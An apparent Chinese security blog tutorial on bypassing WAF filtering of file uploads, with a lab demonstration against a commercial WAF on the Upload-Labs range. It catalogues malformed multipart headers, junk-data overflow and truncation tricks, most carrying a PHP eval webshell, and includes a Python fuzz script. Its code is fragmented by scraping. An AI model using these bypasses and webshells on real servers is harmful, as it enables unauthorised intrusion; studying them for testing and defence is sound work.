干货 | 最全的文件上传漏洞之WAF拦截绕过总结
HTTP文件上传数据包解析
文件上传实质上还是客户端的POST请求,消息主体是一些上传信息。前端上传页面需要指定 enctype为multipart/from-data
才能正常上传文件。
一个正常的文件上传数据包大致如下:
-
POST http:
/
/www.example.com HTTP
/
1.1
-
Content-Type:multipart
/form-data; boundary
=----WebKitFormBoundaryyb
1zYhTI
38xpQxBK
-
-
------WebKitFormBoundaryyb
1zYhTI
38xpQxBK
-
Content-Disposition: form-data; name
=
"city_id"
-
-
1
-
------WebKitFormBoundaryyb
1zYhTI
38xpQxBK
-
Content-Disposition: form-data; name
=
"company_id"
-
-
2
-
------WebKitFormBoundaryyb
1zYhTI
38xpQxBK
-
Content-Disposition: form-data; name
=
"file"; filename
=
"chrome.png"
-
Content-Type: image
/png
-
-
PNG ...
content
of chrome.png ...
-
------WebKitFormBoundaryyb
1zYhTI
38xpQxBK--
从中获取特征为:
•请求Header中Content-Type存在以下特征:•multipart/form-data
:表示该请求是一个文件上传请求•存在boundary
字符串:作用为分隔符,以区分POST数据•POST的内容存在以下特征:•Content-Disposition
:响应标头是指示内容是否预期在浏览器中内联显示的标题。•name
:包含该字段的内容引用的 HTML 字段的名称。•filename
:后面是一个包含传输文件的原始名称的字符串。•POST中的boundary
的值就是Content-Type
的值在最前面加了两个--
,除了最后标识结束的boundary
•最后标识结束的boundary
最后默认会多出两个--
(测试时,最后一行的boundary删掉也能成功上传)
文件上传在数据包中可修改的地方
•Content-Disposition:一般可更改•name:表单参数值,不能更改•filename:文件名,可以更改•Content-Type:文件 MIME,视情况更改•boundary:内容划分,可以更改
WAF如何拦截恶意文件
可以先自己想象一下,如果让你来写WAF,你会从哪几个角度去防御。
•文件名•解析文件名,判断是否在黑名单内。•文件内容•解析文件内容,判断是否为webshell。•文件目录权限•该功能需要主机WAF实现。
目前,市面上常见的是解析文件名,少数WAF是解析文件内容,比如长亭。下面内容,都是基于文件名解析。
大致步骤如下:
1.获取Request Header里的Content-Type
值中获取boundary
值2.根据第一步的boundary
值,解析POST数据,获取文件名3.判断文件名是否在拦截黑名单内/白名单外
了解了WAF如何对恶意文件进行拦截之后,我将常见的绕过方法分为如下几类,最后再使用目前最新版的安全狗进行绕过演示。
字符变异
引号变换
头部字段的值既可以添加单引号也可以添加双引号还可以不加引号,都不会影响上传结果。
-
Content-Disposition:
"form-data"; name
=
file_x; filename
=
"xx.php"
-
Content-Disposition: form-data; name
=
file_x; filename
=
"xx.php"
-
Content-Disposition: form-data; name
=
file_x; filename
=xx.php
-
Content-Disposition: form-data; name
=
"file_x"; filename
=xx.php
-
Content-Disposition: form-data; name
=
'file_x'; filename
=
'xx.php'
-
Content-Disposition:
'form-data'; name
=
"file_x"; filename
=
'xx.php'
可以去除掉filename
字符串中末尾的引号,也能够正常上传
-
Content-Disposition: form-data; name
=
"file_x"; filename
=
"xx.php
-
Content-Disposition: form-data; name="
file_x
"; filename='xx.php
-
Content-Disposition: form-data; name="
file_x
"; filename="xx.php;
大小写变换
对这三个固定的字符串进行大小写转换
•Content-Disposition•name•filename
比如name
转换成Name
,Content-Disposition
转换成content-disposition
。
添加换行符
字段值与等号之间可以加入换行符,依然可以正常上传,下面我使用[0x09]
代替换行符
-
Content-Disposition:
"form-data"; name
=
"file_x"; filename
=[
0x
09]
"xx.php"
-
Content-Disposition:
"form-data"; name
=
"file_x"; filename
=[
0x
09]
"xx.php
-
Content-Disposition: "form-data
"; name="
file_x
"; filename=[0x09]"xx.php
"[0x09]
-
Content-Disposition: "form-data
"; name="
file_x
"; filename=[0x09]xx.php
-
Content-Disposition: "form-data
"; name="
file_x
"; filename=[0x09]xx.php[0x09];
多个分号
文件解析时,可能因为分号解析不到文件名,导致绕过。
Content-Disposition: form-data; name="file_x";;; filename="test.php"
多个等号
在POST的内容中使用多个等号对文件上传也没有影响。
Content-Disposition: form-data; name=="file_x"; filename===="test.php"
变换Content-Disposition的值
某些WAF在解析的时候,认为Content-Disposition
值一定是form-data
,造成绕过。其实Content-Disposition
可以任意变换或为空。
-
Content-Disposition: fOrM-DaTA; name
=
"file_x"; filename
=
"xx.php"
-
Content-Disposition: form-da
+ta; name
=
"file_x"; filename
=
"xx.php"
-
Content-Disposition: fo r m-dat a; name
=
"file_x"; filename
=
"xx.php"
-
Content-Disposition: form-dataxx; name
=
"file_x"; filename
=
"xx.php"
-
Content-Disposition: name
=
"file_x"; filename
=
"xx.php"
畸形的boundary头部
boundary
可以变化为如下形式,且不影响上传:
正常的boundary
:
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarye111
畸形的boundary
:
•multipart/form-data
大小写可变:
Content-Type: mUltiPart/ForM-dATa; boundary=----WebKitFormBoundarye111
•multipart/form-data
与boundary
之间可以使用空格分隔,且中间可以插入任何值:
-
Content-
Type: multipart/form-
data boundary=----WebKitFormBoundarye111
-
Content-
Type: multipart/form-
data x boundary=----WebKitFormBoundarye111
-
Content-
Type: multipart/form-
data abcdefg boundary=----WebKitFormBoundarye111
-
Content-
Type: multipart/form-
data a\|/?!@#$%^() boundary=----WebKitFormBoundarye111
•multipart/form-data
与boundary
之间可以使用逗号分隔,且中间可以插入任何值:
-
Content-
Type: multipart/form-
data,boundary=----WebKitFormBoundarye111
-
Content-
Type: multipart/form-
data,x,boundary=----WebKitFormBoundarye111
-
Content-
Type: multipart/form-
data,abcdefg,boundary=----WebKitFormBoundarye111
-
Content-
Type: multipart/form-
data,a\|/?!@#$%^(),boundary=----WebKitFormBoundarye111
•boundary
之前可以直接加入任何值(PHP可行):
-
Content-Type: multipart
/form-data;bypass
&
123
**{|}boundary
=----WebKitFormBoundarye
111
-
Content-Type: multipart
/form-data bypass
&
123
**{|}boundary
=----WebKitFormBoundarye
111
-
Content-Type: multipart
/form-data,bypass
&
123
**{|}boundary
=----WebKitFormBoundarye
111
•boundary
末尾可以使用逗号或分号隔开插入任何值
-
Content-Type: multipart
/form-data; boundary
=----WebKitFormBoundarye
111;
123abc
-
Content-Type: multipart
/form-data; boundary
=----WebKitFormBoundarye
111,123abc
顺序颠倒
交换name和filename的顺序
因为规定了Content-Disposition
必须在最前面,所以只能交换name和filename的顺序。
有的WAF可能会匹配name
在前面,filename
在后面,可以导致绕过。
Content-Disposition: form-data; filename="xx.php"; name="file_x"
交换Content-Disposition和Content-Type的顺序
与上述一样,Content-Disposition和Content-Type也是能够交换顺序的。
-
Content-Type: image
/png
-
Content-Disposition: form-data; name
=
"upload_file"; filename
=
"shell.php"
交换不同boundary内容的顺序
不同boundary内容也能够交换,且不影响文件上传
-
------WebKitFormBoundaryzEHC
1GyG
8wYOH
1
rf
-
Content-Disposition: form-data; name
=
"submit"
-
-
上传
-
------WebKitFormBoundaryzEHC
1GyG
8wYOH
1
rf
-
Content-Disposition: form-data; name
=
"upload_file"; filename
=
"shell.php"
-
Content-Type: image
/png
-
-
<?php @eval($_POST[
'x']);?
>
-
-
------WebKitFormBoundaryzEHC
1GyG
8wYOH
1
rf--
数据重复
boundary内容重复
最后上传的文件是shell.php而非shell.jpg,但是如果取的文件名时只取了第一个就会被Bypass。
-
------WebKitFormBoundarymeEzpUTMsmOfjwAA
-
Content-Disposition: form-data; name=
"upload_file"; filename=
"shell.jpg"
-
Content-Type: image/png
-
-
<?php @
eval(
$_POST[
'hack']);
?>
-
------WebKitFormBoundarymeEzpUTMsmOfjwAA
-
Content-Disposition: form-data; name=
"upload_file"; filename=
"shell.php"
-
Content-Type: image/png
-
-
<?php @
eval(
$_POST[
'hack']);
?>
-
------WebKitFormBoundarymeEzpUTMsmOfjwAA
-
Content-Disposition: form-data; name=
"submit"
-
-
上传
-
------WebKitFormBoundarymeEzpUTMsmOfjwAA--
下面这样也是可以正常上传的
-
------WebKitFormBoundarymeEzpUTMsmOfjwAA
-
------WebKitFormBoundarymeEzpUTMsmOfjwAA--
-
------WebKitFormBoundarymeEzpUTMsmOfjwAA;
123
-
------WebKitFormBoundarymeEzpUTMsmOfjwAA
-
Content-Disposition: form-data; name=
"upload_file"; filename=
"shell.php"
-
Content-Type: image/png
-
-
<?php @
eval(
$_POST[
'hack']);
?>
-
------WebKitFormBoundarymeEzpUTMsmOfjwAA
-
Content-Disposition: form-data; name=
"submit"
-
-
上传
-
------WebKitFormBoundarymeEzpUTMsmOfjwAA--
filename重复
最终上传成功的文件名是shell.php。但是由于解析文件名时,会解析到第一个。正则默认都会匹配到第一个。
Content-Disposition: form-data; name="upload_file"; filename="shell.jpg filename="shell.jpg"; filename="shell.jpg"; filename="shell.jpg"; filename="shell.jpg"; filename="shell.jpg"; filename="shell.php";
数据溢出
name与filename之间插入垃圾数据
name与filename之间插入大量垃圾数据。
-
POST
/Pass-
02
/
index.php HTTP
/
1.1
-
Host: hackrock.com:
813
-
Content-Type: multipart
/form-data; boundary
=----WebKitFormBoundaryzEHC
1GyG
8wYOH
1
rf
-
Connection:
close
-
-
------WebKitFormBoundaryzEHC
1GyG
8wYOH
1
rf
-
Content-Disposition: form-data; name
=
"upload_file"; fbf
0
fd
31ead
48dcc
0b
9f
2312bf
8658dafbf
0
fd
31ead
48dcc
0b
9f
2312bf
8658dafbf
0
fd
31ead
48dcc
0b
9f
2312bf
8658dafbf
0
fd
31ead
48dcc
0b
8dafbf
0
fd
31ead
48dcc
0b
9f
2312bf
8658dafbf
0
fd
31ead
48dcc
0b
9f
2312bf
8658dafbf
0
fd
31ead
48dcc
0b
9f
2312bf
8658dafbf
0
fd
31ead
48dcc
0b
9f
2312bf
8658dafbf
0
fd
31ead
48dcc
0b
9f
2312bf;
-
filename
=
"shell.php"
-
Content-Type: image
/png
-
-
<?php @eval($_POST[
'x']);?
>
-
-
------WebKitFormBoundaryzEHC
1GyG
8wYOH
1
rf
-
Content-Disposition: form-data; name
=
"submit"
-
-
上传
-
------WebKitFormBoundaryzEHC
1GyG
8wYOH
1
rf--
注:需在大量垃圾数据后加“;”
boundary字符串中加入垃圾数据
boundray字符串的值可以为任何数据(有一定的长度限制),当长度达到WAF无法处理时,而Web服务器又能够处理,那么就可以绕过WAF上传文件。
-
POST
/Pass-
01
/
index.php HTTP
/
1.1
-
Host: hackrock.com:
813
-
Content-Type: multipart
/form-data; boundary
=----WebKitFormBoundaryzEHC
1GyG
8wYOH
1rffbf
0
fd
31ead
48dcc
0b
9f
2312bf
8658dafbf
0
fd
31ead
48dcc
0b
9f
2312bf
8658dafbf
0
fd
31ead
48dcc
0b
9f
2312bf
8658dafbf
0
fd
31ead
48dcc
0b
8dafbf
0
fd
31ead
48dcc
0b
9f
2312bf
8658dafbf
0
fd
31ead
48dcc
0b
9f
2312bf
8658dafbf
0
fd
31ead
48dcc
0b
9f
2312bf
8658dafbf
0
fd
31ead
48dcc
0b
9f
2312bf
8658dafbf
0
fd
31ead
48dcc
0b
9f
2312bf
8658dafbf
0
fd
31ead
48dcc
0b
9f
2312bf
8658dafbf
0
fd
31ead
48dcc
0b
9f
2312bf
8658dafbf
0
fd
31ead
48dcc
0b
9f
2312bf
8658dafbf
0
fd
31ead
48dcc
0b
9f
2312bf
8658dafbf
0
fd
31ead
48dcc
0b
9f
2312bf
8659f
2312bf
8658dafbf
0
fd
31ead
48dcc
0b
9f
2312bf
8658dafbf
0
fd
31ead
48dcc
0b
9f
2312bf
8658dafbf
0
fd
31ead
48dcc
0bf
8658dafbf
0
fd
31ead
48dcc
0b
9f
2312bf
8658dafbf
0
fd
31ead
48dcc
0b
9f
2312bf
8659f
2312bf
8658dafbf
0
fd
31ead
48dcc
0b
9f
2312bfWebKitFormBoundaryzEHC
1GyG
8wYOH
1rffbf
0
fd
31ead
48dcc
0b
9f
2312bf
8658dafbf
0
fd
31ead
48dcc
0b
9f
2312bf
8658dafbf
0
fd
31ead
48dcc
0b
9f
2312bf
8658dafbf
0
fd
31ead
48dcc
0b
8dafbf
0
fd
31ead
48dcc
0b
9f
2312bf
8658dafbf
0
fd
31ead
48dcc
0b
9f
2312bf
8658dafbf
0
fd
31ead
48dcc
0b
9
-
Connection:
close
-
-
------WebKitFormBoundaryzEHC
1GyG
8wYOH
1rffbf
0
fd
31ead
48dcc
0b
9f
2312bf
8658dafbf
0
fd
31ead
48dcc
0b
9f
2312bf
8658dafbf
0
fd
31ead
48dcc
0b
9f
2312bf
8658dafbf
0
fd
31ead
48dcc
0b
8dafbf
0
fd
31ead
48dcc
0b
9f
2312bf
8658dafbf
0
fd
31ead
48dcc
0b
9f
2312bf
8658dafbf
0
fd
31ead
48dcc
0b
9f
2312bf
8658dafbf
0
fd
31ead
48dcc
0b
9f
2312bf
8658dafbf
0
fd
31ead
48dcc
0b
9f
2312bf
8658dafbf
0
fd
31ead
48dcc
0b
9f
2312bf
8658dafbf
0
fd
31ead
48dcc
0b
9f
2312bf
8658dafbf
0
fd
31ead
48dcc
0b
9f
2312bf
8658dafbf
0
fd
31ead
48dcc
0b
9f
2312bf
8658dafbf
0
fd
31ead
48dcc
0b
9f
2312bf
8659f
2312bf
8658dafbf
0
fd
31ead
48dcc
0b
9f
2312bf
8658dafbf
0
fd
31ead
48dcc
0b
9f
2312bf
8658dafbf
0
fd
31ead
48dcc
0bf
8658dafbf
0
fd
31ead
48dcc
0b
9f
2312bf
8658dafbf
0
fd
31ead
48dcc
0b
9f
2312bf
8659f
2312bf
8658dafbf
0
fd
31ead
48dcc
0b
9f
2312bfWebKitFormBoundaryzEHC
1GyG
8wYOH
1rffbf
0
fd
31ead
48dcc
0b
9f
2312bf
8658dafbf
0
fd
31ead
48dcc
0b
9f
2312bf
8658dafbf
0
fd
31ead
48dcc
0b
9f
2312bf
8658dafbf
0
fd
31ead
48dcc
0b
8dafbf
0
fd
31ead
48dcc
0b
9f
2312bf
8658dafbf
0
fd
31ead
48dcc
0b
9f
2312bf
8658dafbf
0
fd
31ead
48dcc
0b
9
-
Content-Disposition: form-data; name
=
"upload_file";filename
=
"shell.php"
-
Content-Type: image
/png
-
-
<?php @eval($_POST[
'x']);?
>
-
-
------WebKitFormBoundaryzEHC
1GyG
8wYOH
1rffbf
0
fd
31ead
48dcc
0b
9f
2312bf
8658dafbf
0
fd
31ead
48dcc
0b
9f
2312bf
8658dafbf
0
fd
31ead
48dcc
0b
9f
2312bf
8658dafbf
0
fd
31ead
48dcc
0b
8dafbf
0
fd
31ead
48dcc
0b
9f
2312bf
8658dafbf
0
fd
31ead
48dcc
0b
9f
2312bf
8658dafbf
0
fd
31ead
48dcc
0b
9f
2312bf
8658dafbf
0
fd
31ead
48dcc
0b
9f
2312bf
8658dafbf
0
fd
31ead
48dcc
0b
9f
2312bf
8658dafbf
0
fd
31ead
48dcc
0b
9f
2312bf
8658dafbf
0
fd
31ead
48dcc
0b
9f
2312bf
8658dafbf
0
fd
31ead
48dcc
0b
9f
2312bf
8658dafbf
0
fd
31ead
48dcc
0b
9f
2312bf
8658dafbf
0
fd
31ead
48dcc
0b
9f
2312bf
8659f
2312bf
8658dafbf
0
fd
31ead
48dcc
0b
9f
2312bf
8658dafbf
0
fd
31ead
48dcc
0b
9f
2312bf
8658dafbf
0
fd
31ead
48dcc
0bf
8658dafbf
0
fd
31ead
48dcc
0b
9f
2312bf
8658dafbf
0
fd
31ead
48dcc
0b
9f
2312bf
8659f
2312bf
8658dafbf
0
fd
31ead
48dcc
0b
9f
2312bfWebKitFormBoundaryzEHC
1GyG
8wYOH
1rffbf
0
fd
31ead
48dcc
0b
9f
2312bf
8658dafbf
0
fd
31ead
48dcc
0b
9f
2312bf
8658dafbf
0
fd
31ead
48dcc
0b
9f
2312bf
8658dafbf
0
fd
31ead
48dcc
0b
8dafbf
0
fd
31ead
48dcc
0b
9f
2312bf
8658dafbf
0
fd
31ead
48dcc
0b
9f
2312bf
8658dafbf
0
fd
31ead
48dcc
0b
9
-
Content-Disposition: form-data; name
=
"submit"
-
-
上传
-
------WebKitFormBoundaryzEHC
1GyG
8wYOH
1rffbf
0
fd
31ead
48dcc
0b
9f
2312bf
8658dafbf
0
fd
31ead
48dcc
0b
9f
2312bf
8658dafbf
0
fd
31ead
48dcc
0b
9f
2312bf
8658dafbf
0
fd
31ead
48dcc
0b
8dafbf
0
fd
31ead
48dcc
0b
9f
2312bf
8658dafbf
0
fd
31ead
48dcc
0b
9f
2312bf
8658dafbf
0
fd
31ead
48dcc
0b
9f
2312bf
8658dafbf
0
fd
31ead
48dcc
0b
9f
2312bf
8658dafbf
0
fd
31ead
48dcc
0b
9f
2312bf
8658dafbf
0
fd
31ead
48dcc
0b
9f
2312bf
8658dafbf
0
fd
31ead
48dcc
0b
9f
2312bf
8658dafbf
0
fd
31ead
48dcc
0b
9f
2312bf
8658dafbf
0
fd
31ead
48dcc
0b
9f
2312bf
8658dafbf
0
fd
31ead
48dcc
0b
9f
2312bf
8659f
2312bf
8658dafbf
0
fd
31ead
48dcc
0b
9f
2312bf
8658dafbf
0
fd
31ead
48dcc
0b
9f
2312bf
8658dafbf
0
fd
31ead
48dcc
0bf
8658dafbf
0
fd
31ead
48dcc
0b
9f
2312bf
8658dafbf
0
fd
31ead
48dcc
0b
9f
2312bf
8659f
2312bf
8658dafbf
0
fd
31ead
48dcc
0b
9f
2312bfWebKitFormBoundaryzEHC
1GyG
8wYOH
1rffbf
0
fd
31ead
48dcc
0b
9f
2312bf
8658dafbf
0
fd
31ead
48dcc
0b
9f
2312bf
8658dafbf
0
fd
31ead
48dcc
0b
9f
2312bf
8658dafbf
0
fd
31ead
48dcc
0b
8dafbf
0
fd
31ead
48dcc
0b
9f
2312bf
8658dafbf
0
fd
31ead
48dcc
0b
9f
2312bf
8658dafbf
0
fd
31ead
48dcc
0b
9--
boundray末尾插入垃圾数据
刚才讲到过boundary
末尾可以插入任何数据,那么就可以在boundary
字符串末尾加入大量垃圾数据。
-
POST
/Pass-
01
/
index.php HTTP
/
1.1
-
Host: hackrock.com:
813
-
Content-Type: multipart
/form-data; boundary
=----WebKitFormBoundaryzEHC
1GyG
8wYOH
1
rf,bf
8658dafbf
0
fd
31ead
48dcc
0b
9f
2312bf
8658dafbf
0
fd
31ead
48dcc
0b
9f
2312bf
8658dafbf
0
fd
31ead
48dcc
0bf
8658dafbf
0
fd
31ead
48dcc
0b
9f
2312bf
8658dafbf
0
fd
31ead
48dcc
0b
9f
2312bf
8659f
2312bf
8658dafbf
0
fd
31ead
48dcc
0b
9f
2312bfWebKitFormBoundaryzEHC
1GyG
8wYOH
1rffbf
0
fd
31ead
48dcc
0b
9f
2312bf
8658dafbf
0
fd
31ead
48dcc
0b
9f
2312bf
8658dafbf
0
fd
31ead
48dcc
0b
9f
2312bf
8658dafbf
0
fd
31ead
48dcc
0b
8dafbf
0
fd
31ead
48dcc
0b
9f
2312bf
8658dafbf
0
fd
31ead
48dcc
0b
9f
2312bf
8658dafbf
0
fd
31ead
48dcc
0b
9
-
Connection:
close
-
Content-Length:
592
-
-
------WebKitFormBoundaryzEHC
1GyG
8wYOH
1
rf
-
Content-Disposition: form-data; name
=
"upload_file"; filename
=
"shell.php"
-
Content-Type: image
/png
-
-
<?php @eval($_POST[
'x']);?
>
-
-
------WebKitFormBoundaryzEHC
1GyG
8wYOH
1
rf
-
Content-Disposition: form-data; name
=
"submit"
-
-
上传
-
------WebKitFormBoundaryzEHC
1GyG
8wYOH
1
rf--
multipart/form-data与boundary之间插入垃圾数据
刚才讲到过multipart/form-data
与boundary
之间可以插入任何数据,那么就可以在multipart/form-data
与boundary
之间加入大量垃圾数据。
-
POST
/Pass-
01
/
index.php HTTP
/
1.1
-
Host: hackrock.com:
813
-
Content-Type: multipart
/form-data bf
8658dafbf
0
fd
31ead
48dcc
0b
9f
2312bf
8658dafbf
0
fd
31ead
48dcc
0b
9f
2312bf
8658dafbf
0
fd
31ead
48dcc
0bf
8658dafbf
0
fd
31ead
48dcc
0b
9f
2312bf
8658dafbf
0
fd
31ead
48dcc
0b
9f
2312bf
8659f
2312bf
8658dafbf
0
fd
31ead
48dcc
0b
9f
2312bfWebKitFormBoundaryzEHC
1GyG
8wYOH
1rffbf
0
fd
31ead
48dcc
0b
9f
2312bf
8658dafbf
0
fd
31ead
48dcc
0b
9f
2312bf
8658dafbf
0
fd
31ead
48dcc
0b
9f
2312bf
8658dafbf
0
fd
31ead
48dcc
0b
8dafbf
0
fd
31ead
48dcc
0b
9f
2312bf
8658dafbf
0
fd
31ead
48dcc
0b
9f
2312bf
8658dafbf
0
fd
31ead
48dcc
0b
9boundary
=----WebKitFormBoundaryzEHC
1GyG
8wYOH
1
rf
-
Connection:
close
-
Content-Length:
319
-
-
------WebKitFormBoundaryzEHC
1GyG
8wYOH
1
rf
-
Content-Disposition: form-data; name
=
"upload_file"; filename
=
"shell.php"
-
Content-Type: image
/png
-
-
<?php @eval($_POST[
'x']);?
>
-
-
------WebKitFormBoundaryzEHC
1GyG
8wYOH
1
rf
-
Content-Disposition: form-data; name
=
"submit"
-
-
上传
-
------WebKitFormBoundaryzEHC
1GyG
8wYOH
1
rf--
数据截断
回车换行截断
POST请求头的值(不是请求头)是可以换行的,但是中间不得有空行。若WAF匹配文件名到换行截止,则可以绕过。
-
Content-Disposition:
for
-
m-data; name
=
"upload_
-
file"; fi
-
le
-
name
=
"sh
-
ell.p
-
h
-
p"
分号截断
若WAF匹配文件名到分号截止,则可以绕过。
Content-Disposition: form-data; name="upload_file"; filename="shell.jpg;.php"
引号截断
php<5.3 单双引号截断特性。
-
Content-Disposition: form-data; name
=
"upload_file"; filename
=
"shell.jpg'.php"
-
Content-Disposition: form-data; name
=
"upload_file"; filename
=
"shell.jpg".php
"
00截断
在url中%00表示ascll码中的0 ,而ascii中0作为特殊字符保留,所以当url中出现%00时就会认为读取已结束。这里使用[0x00]
代替16进制的00字符
Content-Disposition: form-data; name="upload_file"; filename="shell.php[0x00].jpg"
实战-绕过安全狗文件上传
实验环境
靶场:Upload-Labs(Pass-1)
数据库:MySQL 5.5
Web脚本:PHP 5.4.19
WAF:网站安全狗(Apache版)v4.0.3025
在测试时,网站安全狗仅开启上传防护,否则会因为误报删除靶场文件。
image-20220122153541822
实战一 - 编写Fuzz脚本利用数据溢出绕过
由于boundary字符串中可以加入大量垃圾数据,这里就编写了一个Fuzz脚本进行测试能否绕过:
-
#!
/usr
/bin
/env python
-
# _
*_ coding:utf-
8 _
*_
-
-
import requests
-
import
random
-
-
url
=
"http://hackrock.com:813/Pass-01/index.php"
-
-
def
generate_
random_str(randomlength
=
16):
-
random_str
=
''
-
base_str
=
'ABCDEFGHIGKLMNOPQRSTUVWXYZabcdefghigklmnopqrstuvwxyz0123456789'
-
length
= len(base_str) -
1
-
for i
in range(randomlength):
-
random_str
+
= base_str[
random.randint(
0,
length)]
-
return
random_str
-
-
for i
in range(
10,8000,50):
-
stri
=
generate_
random_str(i)
-
try:
-
-
headers
= {
-
"Host":
"hackrock.com:813",
-
"User-Agent":
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36",
-
"Referer":
"http://hackrock.com:813/Pass-01/index.php",
-
"Content-Type":
"multipart/form-data; boundary=----"
+ stri
-
}
-
payload
=
""
"
-
------"
""
+ stri
+
""
"
-
Content-Disposition: form-data; name="upload_
file
"; filename="shell.php
"
-
Content-Type: image/png
-
-
<?php @eval($_POST['hack']); ?>
-
-
------"
""
+ stri
+
""
"
-
Content-Disposition: form-data; name="submit
"
-
-
上传
-
------"
""
+ stri
+
""
"--
-
-
"
""
-
-
response
=requests.post(url
=url,headers
=headers,
data
=payload,timeout
=
0.5)
-
result
= response.
content
-
print result
-
print stri
-
print
"\n"
-
#print payload
-
#print headers
-
if result.
count(
'上传'):
-
print
"Length is : %s " % str(i)
-
break
-
except:
-
print
"."
这里使用的是python2.7进行编写,运行时确保装有python2的环境以及python库。
最后测出的结果如下,长度为3710个字符:
image-20220122154848589
虽然并没有帮我们上传上去,但是可以成功绕过安全狗拦截。
我们将构造好的数据包放进Burp试试:
image-20220122155843047
成功绕过。
实战二 - 利用00截断绕过
上传文件,使用Burp抓包,将filename的值改为:shell.php;.jpg
image-20220122160953684
然后打开hex,(分号的16进制为0x3b)修改16进制内容,把3b改成00:
image-20220122161153160
发送数据。
image-20220122161340032
成功绕过。
推荐阅读
文件上传和WAF的攻与防
https://bbs.ichunqiu.com/thread-41672-1-1.html?from=beef
过waf实战之文件上传bypass总结
https://www.cnblogs.com/-qing-/p/10832850.html
文件上传突破waf总结
https://xz.aliyun.com/t/7531
文件上传Bypass安全狗
https://cloud.tencent.com/developer/article/1838786?from=article.detail.1933685
文件上传之WAF绕过及相安全防护
https://www.cnblogs.com/zhaohzaomumu/p/15130641.html
文件上传绕过WAF
https://www.cnblogs.com/cwkiller/p/11651054.html